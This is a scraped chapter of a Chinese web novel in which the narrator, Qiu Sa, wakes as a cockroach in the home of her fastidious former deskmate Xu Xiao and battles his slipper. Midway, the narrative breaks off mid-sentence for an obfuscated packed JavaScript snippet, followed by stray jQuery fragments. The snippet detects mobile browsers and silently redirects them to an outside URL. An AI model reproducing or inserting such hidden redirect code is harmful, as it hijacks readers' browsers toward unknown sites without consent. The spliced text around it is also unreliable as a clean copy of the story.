默认冷灰
24号文字
方正启体

1. 蟑螂

作者:猫的碎玻璃本书字数:K更新时间:
    当一觉醒来发现自己身边的景色变得陌生而巨大,身体却变得很小很小时,我几乎立刻意识到,发生了某些自然科学难以解释的事。


    例如来到了大人国,或是变成了某个小物件一类的。鉴于还能移动,但感觉身体陌生不似以往,我想我更有可能是变成了某种小生物。


    狗和猫之间我更青睐猫,因为我不爱做舔狗。


    「喵~~~~」


    我尝试举起爪子放在脸颊两侧,做出人们刻板印象里可爱小猫的典型动作。


    我看见自己抬起的不是爪子,而是黑棕的、细细的两条类似于枝干的东西,唯一的不同是布满了规则的细小的尖刺。


    与此同时发现它们并不能抬起太久,因为我要用它们立在地上和走路,或者说爬行。


    以及我比自己想象中还要小很多。


    我想我认识这个所谓的“爪子”,也就是前足,也认出了自己是什么。


    啊啊啊啊啊啊啊啊——————


    我害怕蟑螂啊啊啊啊啊啊啊——————


    于是又悲伤地发现,我发不出声音。


    不巧,我还知道一个不算冷的知识:蟑螂不会叫。


    尽管因为没有洁癖而总是被有洁癖的妈妈抱怨房间太乱,尽管有时会忘了丢两天前的食物垃圾,尽管平时很喜欢小动物,尽管偶尔会哀嚎下辈子不想当人了……


    但并不代表我愿意当蟑螂啊!


    我想尖叫,但蟑螂不会尖叫。


    我想流泪,但蟑螂没有眼泪。


    我想歇斯底里地打滚,但翻身难度很大,而且翻过去之后可能就翻不过来了。


    我想说浑身上下像有蚂蚁在爬,但这已不足以概括此刻的感受;我又想说浑身上下有蟑螂在爬,可一只蟑螂身上是爬不下很多蟑螂的。


    我在原地无声地崩溃许久。


    才意识到需要看看我如今身在哪里。一只蟑螂身在哪里是不重要的,找食物应该并不难,重要的是我并不希望在自己家。


    即使变成了蟑螂,我也不希望成为自己家的蟑螂。人类秋飒绝不容许蟑螂秋飒玷污她干净的小家!


    我环视一周,见布局与家装都是陌生的,这才松了一口气。


    并注意到一样有点眼熟的事物。


    墙上挂着一副笔触十分幼稚的画,线条歪歪扭扭,涂色却显得过分规整,以至于马克笔那种特有的一条一条的纹路很明显。


    左上角太阳,往右一片云,两只鸟,再来一片云。下面一棵树,而且必定要是苹果树,一个三角和方块堆成的房子,一个小人。


    全国小学生统一画作。


    然而我一眼认出,这是万千小学生中很特殊的一位,最最与众不同的一位。


    我秋飒是也。


    因为那两片云并没有云的样子。小朋友画云,总是用一个又一个括弧,画出形似棉花糖的模样。而小时候的我不知脑子里在想什么,从来都是把括弧反着画。


    因此我的云是尖尖的,不柔软、能扎人,像仙人球像刺猬像河豚,总之不像云。


    只是这幅画……


    虽然画过很多类似的,但这幅我能一眼就认出,因为它的归宿十分与众不同。


    既没有被我挂在床头直到被下一张代替,也没有塞在抽屉里从此被遗忘直到搬家时被妈妈丢掉。


    它在许枭手里。


    那是在小学低年级某节平平无奇的美术课——当然和高年级没有美术课的境况相比就不算平平无奇了——美术老师大概是懒得写那节课的教案了,让我们画一幅最喜欢的画。


    十岁的我最喜欢的画当然是经典的太阳云朵小鸟苹果树房子小人图。


    如果知道老师的下一个指令是“和同桌交换刚刚的画”,我无论如何都不会如此认真地把那幅画画完的。


    那时我的同桌是许枭。


    其实那时候我们的关系还不算太坏,我只是不喜欢许枭总是一副拽拽的样子,好像班里谁都配不上跟他玩一样。


    恰巧,我从第一节课自我介绍开始,就认认真真记下了每个人的名字。虽然只记得住他们对自己名字的解释,以至于会把叶丹蕊记成叶红花,把梁攀奎记成梁爬土,但终归是努力记了。


    并且在每一个课间去和他们打招呼,反复强调:“我叫秋飒,你记住我的名字,以后我们就是朋友了,你有什么事都可以来找我帮忙。”


    无他,唯想当大王而已。


    你知道的,像我这样外向的、热情的、主动出击的小孩,是很容易在中小学阶段当孩子里的大王的。


    每个人都懵懵地点头,默认了我友好的入侵。


    除了我的同桌。


    “我叫秋飒,既然我们是同桌,以后就是朋友了,你有什么事都可以来找我帮忙。”


    我煞有介事地学大人,伸手要和他握手。


    许枭看了一眼我的手,没有动作。


    他说:“不用了。”


    这句话对小小的我来说简直是晴天霹雳的程度。很难想象可爱的、柔软的孩子堆里,能出现这样如同对待推销电话般的冷硬拒绝。


    我没有恶意地心想,许枭一定是传说中的父母离异的单亲家庭的孩子,有一些传说中的自闭症抑郁症一类的问题。


    我秋飒大王降临一年级二班,为的就是拯救这样的小孩。


    于是我散发出如同动画片中的南宫问雅一般的温暖光芒。


    “没关系的,”我温柔地去摸他的头,“我不会怪你的,只要你想和我当朋友,我随时愿意和你玩。”


    他眉一皱,头一矮,离开了我的手。


    “好,我要看书了。”许枭很勉强地说。


    我于是继续去认识下一个好朋友。


    两三个人过去,我有点想去厕所了。眼看着还有一分钟就要上课,我中止了好朋友认领计划,奔向女卫生间。


    在学校走廊的尽头,女卫生间和男卫生间之间只隔着一个长长的水池和一台大大的饮水机。


    我一眼看见,那位新同桌正踮起脚尖,把头埋在水池里,水龙头哗啦啦地流着。


    他、竟然、在、洗头。


    他在嫌我脏吗?


    我几乎是有些不可置信地举起小手,看了又看:指甲剪得整整齐齐、干干净净,缝里没有一丁点黑泥,常年偷偷涂妈妈的护手霜,有香香的味道。


    为什么这么嫌弃我?


    眼睛酸酸的,感觉上学第一天就被欺负了。


    我费了好大力气才哄好自己:他们自闭症小孩就是这样的,勇敢善良的秋飒,不要和他斤斤计较。


    要用爱感化他呀!


    很久很久之后,我终于知道了这个毛病叫洁癖。


    想到这里,我福至心灵。


    难道这世上能有如此好事吗?


    最讨厌的人是个洁癖,自己变成一只蟑螂,然后出现在此洁癖家里这种事?还有这种好事?


    于是我更努力地辨认四周的事物。


    不知是不是本螂太小的缘故,这个房子显得很大,许多架子太高了,我看不见上面摆了什么。只能看出这里装修很简洁,颜色很单调,以及到处都打扫得很干净。


    那太好了,我长呼一口气。


    干净,意味着在这里应该不会遇到别的蟑螂了。


    作为身形巨大的人类时,我面对小小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372652|199998||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    蟑螂已毫无招架之力;现在再看见蟑螂,大家可就一般大小了。我想我会晕过去。


    仍然无法确认这究竟是不是许枭的家。


    说不通,无论如何都说不通——如果这不是他家,为什么会有这幅画呢?如果这是他家,他怎么会留着这幅画,还高高挂在墙上呢?


    “嘀嘀嘀嘀嘀嘀——啪嗒!”


    “哐!”


    六声嘀,是密码。


    一声啪嗒,是开门。


    一声哐,是关门。


    四十五,大概是停在我眼前这双鞋的鞋码。


    我回过神,边努力抬头,打算看清进来这人的脸,边已先一步在心里断定,这不是许枭的家。


    他这人不可能进门不换拖鞋的。


    这时我意识到他缓缓蹲了下来,就在我的面前,而后突然传来一道急迫的风声。


    我下意识朝前一扑。


    “啪!”


    我的背后留下一声巨响。


    身旁又响起听起来更迅疾、力道更猛的风声,我再次飞速朝右前方扑去,并且终于明白了——


    不换拖鞋,是因为拖鞋要用来拍我。


    而刚刚不知道为什么突然就想向前扑,是一只蟑螂求生的本能!


    上蹿下跳,左摇右晃,我与拖鞋大战八百回合。


    几欲精疲力竭之时,我终于对这具身体熟悉起来,自觉已能灵活运用身上每个部分。


    并意识到背后有硬硬的两片东西。


    翅膀。


    哦?


    网络世界中某东南地区大省ip的帖子历历在目,与我背后开始越来越有存在感的这双翅膀遥相呼应。


    我好像……是会飞的啊!


    我心念一动,试着用力去扇动它们。


    缺乏体育细胞如我,此时此刻却在驾驭自己身体一事上展现出过人的天赋。


    一片嗡嗡声中,我的手脚离开了地面。


    攻守之势易也!


    “他爹的!”


    我听见中气十足的一声惊喝。


    使我确认了这里果真是许枭的家,因为即使他发出了我此前从未听到的怒骂,也是化成灰都不会认错的声音。


    化成蟑螂也不会认错。


    我可以负责任地说,这世上除了许枭的妈妈爸爸,我就是最熟悉他声音的人。


    即使暗恋许枭的人也不会比我更熟悉了——当然我认为不会有暗恋他的人——因为就算暗恋,最多也只会拿着他开学典礼演讲的视频听个百八十遍,而我实打实地听了大几百遍。


    为了给每个朋友播放一遍并一起评价为装货。非常好的朋友会多放几遍,和关系最好的朋友苏槿则会每次吃饭都放一遍。


    许枭发出惊天动地一声喝的同时,我已飞到了他的面前,尽管飞得还有些歪歪扭扭,但高度确实是够了。


    我与他对视。


    平日里很难做到的,因为许枭高我二十厘米整;今天有翅膀加持,我终于与他视线平齐。再努力扇两下,我甚至能俯视他。


    我从他眼里读出了见所未见的惊恐。


    在年龄还小的时候,我不是没有尝试过吓唬许枭,例如突然从墙角出现,或是偷偷在他文具盒里放假毛毛虫一类的。


    然而从未吓到过他。他总面无表情,礼貌地和我打个招呼,或是把假毛毛虫捏起来扔进垃圾桶,总之让人很没成就感。


    今时不同往日,无论是那声不同寻常的惊呼,还是他瞪圆的双眼,都是未曾展现过的失态。


    于是我明白了。


    许枭并没有他装出来的那样泰山崩于前而色不变,一切不过是因为我蟑螂秋飒还未出马!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)